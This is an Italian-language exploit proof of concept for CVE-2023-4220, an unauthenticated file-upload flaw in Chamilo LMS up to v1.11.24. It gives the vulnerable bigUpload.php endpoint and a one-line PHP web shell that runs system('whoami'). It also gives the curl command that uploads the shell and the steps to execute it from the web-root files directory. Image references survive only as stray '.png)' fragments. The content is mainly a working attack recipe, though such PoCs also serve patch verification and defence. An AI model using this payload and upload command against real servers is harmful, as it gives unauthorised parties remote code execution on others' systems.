
Exploit proof-of-concept per CVE-2023-4220: upload di file non autenticato in Chamilo LMS che consente XSS memorizzato ed esecuzione remota di codice tramite distribuzione di web shell.
Caricamento di file senza restrizioni nella funzionalità di caricamento di file di grandi dimensioni in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 consente ad attaccanti non autenticati di eseguire attacchi di cross-site scripting persistente e ottenere l'esecuzione remota di codice tramite il caricamento di una web shell.
La funzionalità di caricamento di file di grandi dimensioni di /main/inc/lib/javascript/bigupload/inc/bigUpload.php consente di caricare file arbitrari nella directory /main/inc/lib/javascript/bigupload/files all'interno della root web.
Se la directory /main/inc/lib/javascript/bigupload/files esiste, possiamo caricare un file arbitrario come:
Creare un file php dannoso echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
Possiamo quindi caricare questo file eseguendo il seguente comando
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
Possiamo verificare che il nostro file sia stato caricato visitando la directory /main/inc/lib/javascript/bigupload/files
.png)
E possiamo eseguirlo facendo clic sul file php, che restituisce l'output del comando whoami
.png)